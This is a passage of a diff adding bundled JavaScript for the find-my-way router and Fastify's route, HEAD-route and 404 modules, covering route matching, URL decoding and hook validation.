+ this.trees = /* @__PURE__ */ Object.create(null); + this._treeGET = null; + this.routes = []; + }; + Router.prototype.off = function off(method, path, constraints) { + assert2(typeof path === "string", "Path should be a string"); + assert2(path.length > 0, "The path could not be empty"); + assert2(path[0] === "/" || path[0] === "*", "The first character of a path should be `/` or `*`"); + assert2( + typeof constraints === "undefined" || typeof constraints === "object" && !Array.isArray(constraints) && constraints !== null, + "Constraints should be an object or undefined." + ); + const optionalParamMatch = path.match(OPTIONAL_PARAM_REGEXP); + if (optionalParamMatch) { + assert2(path.length === optionalParamMatch.index + optionalParamMatch[0].length, "Optional Parameter needs to be the last parameter of the path"); + const pathFull = path.replace(OPTIONAL_PARAM_REGEXP, "$1$2"); + const pathOptional = path.replace(OPTIONAL_PARAM_REGEXP, "$2") || "/"; + this.off(method, pathFull, constraints); + this.off(method, pathOptional, constraints); + return; + } + if (this.ignoreDuplicateSlashes) { + path = removeDuplicateSlashes(path); + } + if (this.ignoreTrailingSlash) { + path = trimLastSlash(path); + } + const methods = Array.isArray(method) ? method : [method]; + for (const method2 of methods) { + this._off(method2, path, constraints); + } + }; + Router.prototype._off = function _off(method, path, constraints) { + assert2(typeof method === "string", "Method should be a string"); + assert2(httpMethods.includes(method), `Method '${method}' is not an http method.`); + function matcherWithoutConstraints(route) { + return method !== route.method || path !== route.path; + } + function matcherWithConstraints(route) { + return matcherWithoutConstraints(route) || !deepEqual(constraints, route.opts.constraints || {}); + } + const predicate = constraints ? matcherWithConstraints : matcherWithoutConstraints; + const newRoutes = this.routes.filter(predicate); + this._rebuild(newRoutes); + }; + Router.prototype.lookup = function lookup(req, res, ctx, done) { + if (typeof ctx === "function") { + done = ctx; + ctx = void 0; + } + if (done === void 0) { + const constraints = this.constrainer.deriveConstraints(req, ctx); + const handle = this.find(req.method, req.url, constraints); + return this.callHandler(handle, req, res, ctx); + } + this.constrainer.deriveConstraints(req, ctx, (err, constraints) => { + if (err !== null) { + done(err); + return; + } + try { + const handle = this.find(req.method, req.url, constraints); + const result = this.callHandler(handle, req, res, ctx); + done(null, result); + } catch (err2) { + done(err2); + } + }); + }; + Router.prototype.callHandler = function callHandler(handle, req, res, ctx) { + if (handle === null) return this._defaultRoute(req, res, ctx); + return ctx === void 0 ? handle.handler(req, res, handle.params, handle.store, handle.searchParams) : handle.handler.call(ctx, req, res, handle.params, handle.store, handle.searchParams); + }; + Router.prototype.find = function find(method, path, derivedConstraints) { + let currentNode = method === "GET" ? this._treeGET : this.trees[method]; + if (currentNode == null) return null; + if (path.charCodeAt(0) !== 47) { + const absolutePath = getPathFromAbsoluteUrl(path); + if (absolutePath === null) { + return this._onBadUrl(path); + } + path = absolutePath; + } + if (this.ignoreDuplicateSlashes) { + path = removeDuplicateSlashes(path); + } + let sanitizedUrl; + let querystring2; + let shouldDecodeParam; + try { + sanitizedUrl = path.length >= MIN_NATIVE_SCAN_LENGTH ? safeDecodeURINativeScan(path, this.useSemicolonDelimiter) : safeDecodeURICharScan(path, this.useSemicolonDelimiter, 1); + path = sanitizedUrl.path; + querystring2 = sanitizedUrl.querystring; + shouldDecodeParam = sanitizedUrl.shouldDecodeParam; + } catch (error51) { + return this._onBadUrl(path); + } + if (this.ignoreTrailingSlash) { + path = trimLastSlash(path); + } + const originPath = path; + if (this.caseSensitive === false) { + path = path.toLowerCase(); + } + const maxParamLength = this.maxParamLength; + let pathIndex = currentNode.prefix.length; + const params = []; + const pathLen = path.length; + const brothersNodesStack = []; + let maxParamLengthExceeded = false; + while (true) { + if (pathIndex === pathLen && currentNode.isLeafNode) { + const handle = currentNode.handlerStorage.getMatchingHandler(derivedConstraints); + if (handle !== null) { + return { + handler: handle.handler, + store: handle.store, + params: handle._createParamsObject(params), + searchParams: this.querystringParser(querystring2) + }; + } + } + let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node === null) { + if (brothersNodesStack.length === 0) { + if (maxParamLengthExceeded && this.onMaxParamLength) { + return this._onMaxParamLength(originPath); + } + return null; + } + const brotherNodeState = brothersNodesStack.pop(); + pathIndex = brotherNodeState.brotherPathIndex; + params.splice(brotherNodeState.paramsCount); + node = brotherNodeState.brotherNode; + } + currentNode = node; + while (true) { + if (currentNode.kind === NODE_TYPES.STATIC) { + pathIndex += currentNode.prefix.length; + break; + } + if (currentNode.kind === NODE_TYPES.WILDCARD) { + let param2 = originPath.slice(pathIndex); + if (shouldDecodeParam) { + param2 = safeDecodeURIComponent(param2); + } + params.push(param2); + pathIndex = pathLen; + break; + } + let paramEndIndex = originPath.indexOf("/", pathIndex); + if (paramEndIndex === -1) { + paramEndIndex = pathLen; + } + let param = originPath.slice(pathIndex, paramEndIndex); + if (shouldDecodeParam) { + param = safeDecodeURIComponent(param); + } + if (currentNode.isRegex) { + const matchedParameters = currentNode.regex.exec(param); + if (matchedParameters === null) { + if (brothersNodesStack.length === 0) { + if (maxParamLengthExceeded && this.onMaxParamLength) { + return this._onMaxParamLength(originPath); + } + return null; + } + const brotherNodeState = brothersNodesStack.pop(); + pathIndex = brotherNodeState.brotherPathIndex; + params.splice(brotherNodeState.paramsCount); + currentNode = brotherNodeState.brotherNode; + continue; + } + let regexMaxParamLengthExceeded = false; + for (let i = 1; i < matchedParameters.length; i++) { + const matchedParam = matchedParameters[i] ?? ""; + if (matchedParam.length > maxParamLength) { + regexMaxParamLengthExceeded = true; + break; + } + } + if (regexMaxParamLengthExceeded) { + maxParamLengthExceeded = true; + if (brothersNodesStack.length === 0) { + if (this.onMaxParamLength) { + return this._onMaxParamLength(originPath); + } + return null; + } + const brotherNodeState = brothersNodesStack.pop(); + pathIndex = brotherNodeState.brotherPathIndex; + params.splice(brotherNodeState.paramsCount); + currentNode = brotherNodeState.brotherNode; + continue; + } + for (let i = 1; i < matchedParameters.length; i++) { + params.push(matchedParameters[i] ?? ""); + } + } else { + if (param.length > maxParamLength) { + maxParamLengthExceeded = true; + if (brothersNodesStack.length === 0) { + if (this.onMaxParamLength) { + return this._onMaxParamLength(originPath); + } + return null; + } + const brotherNodeState = brothersNodesStack.pop(); + pathIndex = brotherNodeState.brotherPathIndex; + params.splice(brotherNodeState.paramsCount); + currentNode = brotherNodeState.brotherNode; + continue; + } + params.push(param); + } + pathIndex = paramEndIndex; + break; + } + } + }; + Router.prototype._rebuild = function(routes) { + this.reset(); + for (const route of routes) { + const { method, path, opts, handler, store } = route; + this._on(method, path, opts, handler, store); + } + }; + Router.prototype._defaultRoute = function(req, res, ctx) { + if (this.defaultRoute !== null) { + return ctx === void 0 ? this.defaultRoute(req, res) : this.defaultRoute.call(ctx, req, res); + } else { + res.statusCode = 404; + res.end(); + } + }; + Router.prototype._onBadUrl = function(path) { + if (this.onBadUrl === null) { + return null; + } + const onBadUrl = this.onBadUrl; + return { + handler: (req, res, ctx) => onBadUrl(path, req, res), + params: {}, + store: null + }; + }; + Router.prototype._onMaxParamLength = function(path) { + if (this.onMaxParamLength === null) { + return null; + } + const onMaxParamLength = this.onMaxParamLength; + return { + handler: (req, res, ctx) => onMaxParamLength(path, req, res), + params: {}, + store: null + }; + }; + Router.prototype.prettyPrint = function(options = {}) { + const method = options.method; + options.buildPrettyMeta = this.buildPrettyMeta.bind(this); + let tree = null; + if (method === void 0) { + const { version: version3, host, ...constraints } = this.constrainer.strategies; + constraints[httpMethodStrategy.name] = httpMethodStrategy; + const mergedRouter = new Router({ ...this._opts, constraints }); + const mergedRoutes = this.routes.map((route) => { + const constraints2 = { + ...route.opts.constraints, + [httpMethodStrategy.name]: route.method + }; + return { ...route, method: "MERGED", opts: { constraints: constraints2 } }; + }); + mergedRouter._rebuild(mergedRoutes); + tree = mergedRouter.trees.MERGED; + } else { + tree = this.trees[method]; + } + if (tree == null) return "(empty tree)"; + return prettyPrintTree(tree, options); + }; + for (const i in httpMethods) { + if (!httpMethods.hasOwnProperty(i)) continue; + const m = httpMethods[i]; + const methodName = m.toLowerCase(); + Router.prototype[methodName] = function(path, handler, store) { + return this.on(m, path, handler, store); + }; + } + Router.prototype.all = function(path, handler, store) { + this.on(httpMethods, path, handler, store); + }; + Router.sanitizeUrlPath = function sanitizeUrlPath(url2, useSemicolonDelimiter) { + const decoded = safeDecodeURI(url2, useSemicolonDelimiter); + if (decoded.shouldDecodeParam) { + return safeDecodeURIComponent(decoded.path); + } + return decoded.path; + }; + Router.removeDuplicateSlashes = removeDuplicateSlashes; + Router.trimLastSlash = trimLastSlash; + module.exports = Router; + function escapeRegExp(string4) { + return string4.replace(ESCAPE_REGEXP, "\\$&"); + } + function getPathFromAbsoluteUrl(url2) { + const schemeEnd = url2.indexOf("://"); + if (schemeEnd === -1) { + return url2; + } + const scheme = url2.slice(0, schemeEnd).toLowerCase(); + if (scheme !== "http" && scheme !== "https") { + return url2; + } + const authorityStart = schemeEnd + 3; + let authorityEnd = url2.length; + const pathStart = url2.indexOf("/", authorityStart); + if (pathStart !== -1) { + authorityEnd = pathStart; + } + const queryStart = url2.indexOf("?", authorityStart); + if (queryStart !== -1 && queryStart < authorityEnd) { + authorityEnd = queryStart; + } + if (url2.indexOf("#", authorityStart) !== -1 || authorityEnd === authorityStart) { + return null; + } + try { + const parsed = new URL(url2); + if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { + return null; + } + } catch (error51) { + return null; + } + if (authorityEnd === url2.length) { + return "/"; + } + if (authorityEnd === queryStart) { + return "/" + url2.slice(queryStart); + } + return url2.slice(pathStart); + } + function removeDuplicateSlashes(path) { + return path.indexOf("//") !== -1 ? path.replace(REMOVE_DUPLICATE_SLASHES_REGEXP, "/") : path; + } + function trimLastSlash(path) { + if (path.length > 1 && path.charCodeAt(path.length - 1) === 47) { + return path.slice(0, -1); + } + return path; + } + function trimRegExpStartAndEnd(regexString) { + if (regexString.charCodeAt(1) === 94) { + regexString = regexString.slice(0, 1) + regexString.slice(2); + } + if (regexString.charCodeAt(regexString.length - 2) === 36) { + regexString = regexString.slice(0, regexString.length - 2) + regexString.slice(regexString.length - 1); + } + return regexString; + } + function getClosingParenthensePosition(path, idx) { + let parentheses = 1; + while (idx < path.length) { + idx++; + if (path.charCodeAt(idx) === 92) { + idx++; + continue; + } + if (path.charCodeAt(idx) === 41) { + parentheses--; + } else if (path.charCodeAt(idx) === 40) { + parentheses++; + } + if (!parentheses) return idx; + } + throw new TypeError('Invalid regexp expression in "' + path + '"'); + } + function defaultBuildPrettyMeta(route) { + if (!route) return {}; + if (!route.store) return {}; + return Object.assign({}, route.store); + } + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/head-route.js +var require_head_route = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/head-route.js"(exports, module) { + "use strict"; + function headRouteOnSendHandler(req, reply, payload, done) { + if (payload === void 0) { + reply.header("content-length", "0"); + done(null, null); + return; + } + if (typeof payload.resume === "function") { + payload.on("error", (err) => { + reply.log.error({ err }, "Error on Stream found for HEAD route"); + }); + payload.resume(); + done(null, null); + return; + } + if (typeof payload.getReader === "function") { + payload.cancel("Stream cancelled by HEAD route").catch((err) => { + reply.log.error({ err }, "Error on Stream found for HEAD route"); + }); + done(null, null); + return; + } + const size2 = "" + Buffer.byteLength(payload); + reply.header("content-length", size2); + done(null, null); + } + function parseHeadOnSendHandlers(onSendHandlers) { + if (onSendHandlers == null) return headRouteOnSendHandler; + return Array.isArray(onSendHandlers) ? [...onSendHandlers, headRouteOnSendHandler] : [onSendHandlers, headRouteOnSendHandler]; + } + module.exports = { + parseHeadOnSendHandlers + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/route.js +var require_route = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/route.js"(exports, module) { + "use strict"; + var FindMyWay = require_find_my_way(); + var Context = require_context(); + var handleRequest = require_handle_request(); + var { onRequestAbortHookRunner, lifecycleHooks, preParsingHookRunner, onTimeoutHookRunner, onRequestHookRunner } = require_hooks(); + var { normalizeSchema } = require_schemas(); + var { parseHeadOnSendHandlers } = require_head_route(); + var { + compileSchemasForValidation, + compileSchemasForSerialization + } = require_validation(); + var { + FST_ERR_SCH_VALIDATION_BUILD, + FST_ERR_SCH_SERIALIZATION_BUILD, + FST_ERR_DUPLICATED_ROUTE, + FST_ERR_INVALID_URL, + FST_ERR_HOOK_INVALID_HANDLER, + FST_ERR_ROUTE_OPTIONS_NOT_OBJ, + FST_ERR_ROUTE_DUPLICATED_HANDLER, + FST_ERR_ROUTE_HANDLER_NOT_FN, + FST_ERR_ROUTE_MISSING_HANDLER, + FST_ERR_ROUTE_METHOD_NOT_SUPPORTED, + FST_ERR_ROUTE_METHOD_INVALID, + FST_ERR_ROUTE_LOG_LEVEL_INVALID, + FST_ERR_ROUTE_BODY_VALIDATION_SCHEMA_NOT_SUPPORTED, + FST_ERR_ROUTE_BODY_LIMIT_OPTION_NOT_INT, + FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT, + FST_ERR_HANDLER_TIMEOUT, + FST_ERR_HOOK_INVALID_ASYNC_HANDLER + } = require_errors2(); + var { + kRoutePrefix, + kSupportedHTTPMethods, + kLogLevel, + kLogSerializers, + kHooks, + kSchemaController, + kOptions, + kReplySerializerDefault, + kReplyIsError, + kRequestPayloadStream, + kSchemaErrorFormatter, + kErrorHandler, + kHasBeenDecorated, + kRequestAcceptVersion, + kRouteByFastify, + kRouteContext, + kRequestSignal, + kTimeoutTimer, + kOnAbort, + kLogController + } = require_symbols3(); + var { buildErrorHandler } = require_error_handler(); + var { createChildLogger, defaultChildLoggerFactory } = require_logger_factory(); + var { getGenReqId } = require_req_id_gen_factory(); + var { FSTDEP022 } = require_warnings(); + var routerKeys = [ + "allowUnsafeRegex", + "buildPrettyMeta", + "caseSensitive", + "constraints", + "defaultRoute", + "ignoreDuplicateSlashes", + "ignoreTrailingSlash", + "maxParamLength", + "onBadUrl", + "onMaxParamLength", + "querystringParser", + "useSemicolonDelimiter" + ]; + function buildRouting(options) { + const router = FindMyWay(options); + let avvio; + let fourOhFour; + let logger2; + let hasLogger; + let setupResponseListeners; + let throwIfAlreadyStarted; + let ignoreTrailingSlash; + let ignoreDuplicateSlashes; + let return503OnClosing; + let globalExposeHeadRoutes; + let keepAliveConnections; + let closing = false; + return { + /** + * @param {import('../fastify').FastifyServerOptions} options + * @param {*} fastifyArgs + */ + setup(options2, fastifyArgs) { + avvio = fastifyArgs.avvio; + fourOhFour = fastifyArgs.fourOhFour; + logger2 = options2.logger; + hasLogger = fastifyArgs.hasLogger; + setupResponseListeners = fastifyArgs.setupResponseListeners; + throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; + globalExposeHeadRoutes = options2.exposeHeadRoutes; + ignoreTrailingSlash = options2.routerOptions.ignoreTrailingSlash; + ignoreDuplicateSlashes = options2.routerOptions.ignoreDuplicateSlashes; + return503OnClosing = Object.hasOwn(options2, "return503OnClosing") ? options2.return503OnClosing : true; + keepAliveConnections = fastifyArgs.keepAliveConnections; + }, + routing: router.lookup.bind(router), + // router func to find the right handler to call + route, + // configure a route in the fastify instance + hasRoute, + prepareRoute, + routeHandler, + closeRoutes: () => { + closing = true; + }, + printRoutes: router.prettyPrint.bind(router), + addConstraintStrategy, + hasConstraintStrategy, + isAsyncConstraint, + findRoute + }; + function addConstraintStrategy(strategy) { + throwIfAlreadyStarted("Cannot add constraint strategy!"); + return router.addConstraintStrategy(strategy); + } + function hasConstraintStrategy(strategyName) { + return router.hasConstraintStrategy(strategyName); + } + function isAsyncConstraint() { + return router.constrainer.asyncStrategiesInUse.size > 0; + } + function prepareRoute({ method, url: url2, options: options2, handler, isFastify }) { + if (typeof url2 !== "string") { + throw new FST_ERR_INVALID_URL(typeof url2); + } + if (!handler && typeof options2 === "function") { + handler = options2; + options2 = {}; + } else if (handler && typeof handler === "function") { + if (Object.prototype.toString.call(options2) !== "[object Object]") { + throw new FST_ERR_ROUTE_OPTIONS_NOT_OBJ(method, url2); + } else if (options2.handler) { + if (typeof options2.handler === "function") { + throw new FST_ERR_ROUTE_DUPLICATED_HANDLER(method, url2); + } else { + throw new FST_ERR_ROUTE_HANDLER_NOT_FN(method, url2); + } + } + } + options2 = Object.assign({}, options2, { + method, + url: url2, + path: url2, + handler: handler || options2 && options2.handler + }); + return route.call(this, { options: options2, isFastify }); + } + function hasRoute({ options: options2 }) { + const normalizedMethod = options2.method?.toUpperCase() ?? ""; + return router.hasRoute( + normalizedMethod, + options2.url || "", + options2.constraints + ); + } + function findRoute(options2) { + const route2 = router.find( + options2.method?.toUpperCase() ?? "", + options2.url || "", + options2.constraints + ); + if (route2) { + return { + handler: route2.handler, + params: route2.params, + searchParams: route2.searchParams + }; + } else { + return null; + } + } + function route({ options: options2, isFastify }) { + throwIfAlreadyStarted("Cannot add route!"); + const opts = { ...options2 }; + const path = opts.url || opts.path || ""; + if (!opts.handler) { + throw new FST_ERR_ROUTE_MISSING_HANDLER(opts.method, path); + } + if (opts.errorHandler !== void 0 && typeof opts.errorHandler !== "function") { + throw new FST_ERR_ROUTE_HANDLER_NOT_FN(opts.method, path); + } + validateBodyLimitOption(opts.bodyLimit); + validateHandlerTimeoutOption(opts.handlerTimeout); + const shouldExposeHead = opts.exposeHeadRoute ?? globalExposeHeadRoutes; + let isGetRoute = false; + let isHeadRoute = false; + if (Array.isArray(opts.method)) { + for (let i = 0; i < opts.method.length; ++i) { + opts.method[i] = normalizeAndValidateMethod.call(this, opts.method[i]); + validateSchemaBodyOption.call(this, opts.method[i], path, opts.schema); + isGetRoute = opts.method.includes("GET"); + isHeadRoute = opts.method.includes("HEAD"); + } + } else { + opts.method = normalizeAndValidateMethod.call(this, opts.method); + validateSchemaBodyOption.call(this, opts.method, path, opts.schema); + isGetRoute = opts.method === "GET"; + isHeadRoute = opts.method === "HEAD"; + } + const headOpts = shouldExposeHead && isGetRoute ? { ...options2 } : null; + const prefix = this[kRoutePrefix]; + if (path === "/" && prefix.length > 0 && opts.method !== "HEAD") { + switch (opts.prefixTrailingSlash) { + case "slash": + addNewRoute.call(this, { path, isFastify }); + break; + case "no-slash": + addNewRoute.call(this, { path: "", isFastify }); + break; + case "both": + default: + addNewRoute.call(this, { path: "", isFastify }); + if (ignoreTrailingSlash !== true && (ignoreDuplicateSlashes !== true || !prefix.endsWith("/"))) { + addNewRoute.call(this, { path, prefixing: true, isFastify }); + } + } + } else if (path[0] === "/" && prefix.endsWith("/")) { + addNewRoute.call(this, { path: path.slice(1), isFastify }); + } else { + addNewRoute.call(this, { path, isFastify }); + } + return this; + function addNewRoute({ path: path2, prefixing = false, isFastify: isFastify2 = false }) { + const url2 = prefix + path2; + opts.url = url2; + opts.path = url2; + opts.routePath = path2; + opts.prefix = prefix; + opts.logLevel = opts.logLevel || this[kLogLevel]; + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); + if (this[kLogSerializers] || opts.logSerializers) { + opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); + } + if (opts.attachValidation == null) { + opts.attachValidation = false; + } + const routeConfigUrl = prefixing ? prefix : url2; + if (prefixing === false) { + for (const hook of this[kHooks].onRoute) { + hook.call(this, opts); + } + } + for (const hook of lifecycleHooks) { + if (opts && hook in opts) { + if (Array.isArray(opts[hook])) { + for (const func of opts[hook]) { + if (typeof func !== "function") { + throw new FST_ERR_HOOK_INVALID_HANDLER(hook, Object.prototype.toString.call(func)); + } + if (hook === "onSend" || hook === "preSerialization" || hook === "onError" || hook === "preParsing") { + if (func.constructor.name === "AsyncFunction" && func.length === 4) { + throw new FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } else if (hook === "onRequestAbort") { + if (func.constructor.name === "AsyncFunction" && func.length !== 1) { + throw new FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } else { + if (func.constructor.name === "AsyncFunction" && func.length === 3) { + throw new FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } + } + } else if (opts[hook] !== void 0 && typeof opts[hook] !== "function") { + throw new FST_ERR_HOOK_INVALID_HANDLER(hook, Object.prototype.toString.call(opts[hook])); + } + } + } + const constraints = opts.constraints || {}; + const config2 = { + ...opts.config, + url: routeConfigUrl, + method: opts.method + }; + const context2 = new Context({ + schema: opts.schema, + handler: opts.handler.bind(this), + config: config2, + errorHandler: opts.errorHandler, + childLoggerFactory: opts.childLoggerFactory, + bodyLimit: opts.bodyLimit, + logLevel: opts.logLevel, + logSerializers: opts.logSerializers, + attachValidation: opts.attachValidation, + schemaErrorFormatter: opts.schemaErrorFormatter, + replySerializer: this[kReplySerializerDefault], + validatorCompiler: opts.validatorCompiler, + serializerCompiler: opts.serializerCompiler, + exposeHeadRoute: shouldExposeHead, + prefixTrailingSlash: opts.prefixTrailingSlash || "both", + server: this, + isFastify: isFastify2, + handlerTimeout: opts.handlerTimeout + }); + const headHandler = router.findRoute("HEAD", opts.url, constraints); + const hasHEADHandler = headHandler !== null; + try { + router.on(opts.method, opts.url, { constraints }, routeHandler, context2); + } catch (error51) { + if (!context2[kRouteByFastify]) { + const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; + const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + if (isDuplicatedRoute) { + throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); + } + throw error51; + } + } + this.after((notHandledErr, done) => { + context2.errorHandler = opts.errorHandler ? buildErrorHandler(this[kErrorHandler], opts.errorHandler) : this[kErrorHandler]; + context2._parserOptions.limit = opts.bodyLimit || null; + context2.logLevel = opts.logLevel; + context2.logSerializers = opts.logSerializers; + context2.attachValidation = opts.attachValidation; + context2[kReplySerializerDefault] = this[kReplySerializerDefault]; + context2.schemaErrorFormatter = opts.schemaErrorFormatter || this[kSchemaErrorFormatter] || context2.schemaErrorFormatter; + avvio.once("preReady", () => { + for (const hook of lifecycleHooks) { + const toSet = this[kHooks][hook].concat(opts[hook] || []).map((h) => h.bind(this)); + context2[hook] = toSet.length ? toSet : null; + } + while (!context2.Request[kHasBeenDecorated] && context2.Request.parent) { + context2.Request = context2.Request.parent; + } + while (!context2.Reply[kHasBeenDecorated] && context2.Reply.parent) { + context2.Reply = context2.Reply.parent; + } + fourOhFour.setContext(this, context2); + if (opts.schema) { + context2.schema = normalizeSchema(context2.schema, this.initialConfig); + const schemaController = this[kSchemaController]; + const hasValidationSchema = opts.schema.body !== void 0 || opts.schema.headers !== void 0 || opts.schema.querystring !== void 0 || opts.schema.params !== void 0; + if (!opts.validatorCompiler && hasValidationSchema) { + schemaController.setupValidator(this[kOptions]); + } + try { + const isCustom = typeof opts?.validatorCompiler === "function" || schemaController.isCustomValidatorCompiler; + compileSchemasForValidation( + context2, + opts.validatorCompiler || schemaController.validatorCompiler, + isCustom + ); + } catch (error51) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } + if (opts.schema.response && !opts.serializerCompiler) { + schemaController.setupSerializer(this[kOptions]); + } + try { + compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); + } catch (error51) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } + } + }); + done(notHandledErr); + }); + if (shouldExposeHead && isGetRoute && !isHeadRoute && !hasHEADHandler) { + const onSendHandlers = parseHeadOnSendHandlers(headOpts.onSend); + prepareRoute.call(this, { method: "HEAD", url: path2, options: { ...headOpts, onSend: onSendHandlers }, isFastify: true }); + } + } + } + function routeHandler(req, res, params, context2, query) { + const id = getGenReqId(context2.server, req); + let childLogger; + if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { + childLogger = logger2; + } else { + const loggerOpts = { + level: context2.logLevel + }; + if (context2.logSerializers) { + loggerOpts.serializers = context2.logSerializers; + } + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); + } + if (closing === true) { + if (req.httpVersionMajor !== 2) { + res.setHeader("Connection", "close"); + } + if (return503OnClosing) { + const headers = { + "Content-Type": "application/json", + "Content-Length": "80" + }; + res.writeHead(503, headers); + res.end('{"error":"Service Unavailable","message":"Service Unavailable","statusCode":503}'); + context2.server[kLogController].serviceUnavailable(childLogger, context2.server); + return; + } + } + const connHeader = String.prototype.toLowerCase.call(req.headers.connection || ""); + if (connHeader === "keep-alive") { + if (keepAliveConnections.has(req.socket) === false) { + keepAliveConnections.add(req.socket); + req.socket.on("close", removeTrackedSocket.bind({ keepAliveConnections, socket: req.socket })); + } + } + if (req.headers[kRequestAcceptVersion] !== void 0) { + req.headers["accept-version"] = req.headers[kRequestAcceptVersion]; + req.headers[kRequestAcceptVersion] = void 0; + } + const request = new context2.Request(id, params, req, query, childLogger, context2); + const reply = new context2.Reply(res, request, childLogger); + context2.server[kLogController].incomingRequest(request, reply); + const handlerTimeout = context2.handlerTimeout; + if (handlerTimeout > 0) { + const ac = new AbortController(); + request[kRequestSignal] = ac; + request[kTimeoutTimer] = setTimeout(() => { + if (!reply.sent) { + const err = new FST_ERR_HANDLER_TIMEOUT(handlerTimeout, context2.config?.url); + ac.abort(err); + reply[kReplyIsError] = true; + reply.send(err); + } + }, handlerTimeout); + const onAbort = () => { + if (!ac.signal.aborted) { + ac.abort(); + } + clearTimeout(request[kTimeoutTimer]); + }; + req.on("close", onAbort); + request[kOnAbort] = onAbort; + } + if (hasLogger === true || context2.onResponse !== null || handlerTimeout > 0) { + setupResponseListeners(reply); + } + if (context2.onTimeout !== null) { + if (!request.raw.socket._meta) { + request.raw.socket.on("timeout", handleTimeout); + } + request.raw.socket._meta = { context: context2, request, reply, onTimeout: handleTimeout }; + } + if (context2.onRequest !== null) { + onRequestHookRunner( + context2.onRequest, + request, + reply, + runPreParsing + ); + } else { + runPreParsing(null, request, reply); + } + if (context2.onRequestAbort !== null) { + req.on("close", () => { + if (req.aborted) { + onRequestAbortHookRunner( + context2.onRequestAbort, + request, + handleOnRequestAbortHooksErrors.bind(null, reply) + ); + } + }); + } + } + } + function handleOnRequestAbortHooksErrors(reply, err) { + if (err) { + reply.log.error({ err }, "onRequestAborted hook failed"); + } + } + function handleTimeout() { + const { context: context2, request, reply } = this._meta; + onTimeoutHookRunner( + context2.onTimeout, + request, + reply, + noop3 + ); + } + function normalizeAndValidateMethod(method) { + if (typeof method !== "string") { + throw new FST_ERR_ROUTE_METHOD_INVALID(); + } + method = method.toUpperCase(); + if (!this[kSupportedHTTPMethods].bodyless.has(method) && !this[kSupportedHTTPMethods].bodywith.has(method)) { + throw new FST_ERR_ROUTE_METHOD_NOT_SUPPORTED(method); + } + return method; + } + function validateSchemaBodyOption(method, path, schema) { + if (this[kSupportedHTTPMethods].bodyless.has(method) && schema?.body) { + throw new FST_ERR_ROUTE_BODY_VALIDATION_SCHEMA_NOT_SUPPORTED(method, path); + } + } + function validateBodyLimitOption(bodyLimit) { + if (bodyLimit === void 0) return; + if (!Number.isInteger(bodyLimit) || bodyLimit <= 0) { + throw new FST_ERR_ROUTE_BODY_LIMIT_OPTION_NOT_INT(bodyLimit); + } + } + function validateHandlerTimeoutOption(handlerTimeout) { + if (handlerTimeout === void 0) return; + if (!Number.isInteger(handlerTimeout) || handlerTimeout <= 0) { + throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); + } + } + function validateLogLevelOption(logLevel, method, path, logger2) { + if (logLevel == null || logLevel === "") return; + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { + throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); + } + } + function runPreParsing(err, request, reply) { + if (reply.sent === true) return; + if (err != null) { + reply[kReplyIsError] = true; + reply.send(err); + return; + } + request[kRequestPayloadStream] = request.raw; + if (request[kRouteContext].preParsing !== null) { + preParsingHookRunner(request[kRouteContext].preParsing, request, reply, handleRequest.bind(request.server)); + } else { + handleRequest.call(request.server, null, request, reply); + } + } + function buildRouterOptions(options, defaultOptions) { + const routerOptions = options.routerOptions == null ? /* @__PURE__ */ Object.create(null) : Object.assign(/* @__PURE__ */ Object.create(null), options.routerOptions); + const usedDeprecatedOptions = routerKeys.filter((key) => Object.hasOwn(options, key)); + if (usedDeprecatedOptions.length > 0) { + FSTDEP022(usedDeprecatedOptions.join(", ")); + } + for (const key of routerKeys) { + if (!Object.hasOwn(routerOptions, key)) { + routerOptions[key] = options[key] ?? defaultOptions[key]; + } + } + return routerOptions; + } + function removeTrackedSocket() { + this.keepAliveConnections.delete(this.socket); + } + function noop3() { + } + module.exports = { buildRouting, validateBodyLimitOption, buildRouterOptions }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/four-oh-four.js +var require_four_oh_four = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/four-oh-four.js"(exports, module) { + "use strict"; + var FindMyWay = require_find_my_way(); + var Reply = require_reply(); + var Request = require_request(); + var Context = require_context(); + var { + kRoutePrefix, + kCanSetNotFoundHandler, + kFourOhFourLevelInstance, + kFourOhFourContext, + kHooks, + kErrorHandler, + kLogController + } = require_symbols3(); + var { lifecycleHooks } = require_hooks(); + var { buildErrorHandler } = require_error_handler(); + var { + FST_ERR_NOT_FOUND + } = require_errors2(); + var { createChildLogger } = require_logger_factory(); + var { getGenReqId } = require_req_id_gen_factory(); + function fourOhFour(options) { + const { logger: logger2 } = options; + const router = FindMyWay({ + onBadUrl: options.routerOptions.onBadUrl, + onMaxParamLength: options.routerOptions.onMaxParamLength, + defaultRoute: fourOhFourFallBack + }); + return { router, setNotFoundHandler, setContext, arrange404 }; + function arrange404(instance) { + instance[kFourOhFourLevelInstance] = instance; + instance[kCanSetNotFoundHandler] = true; + 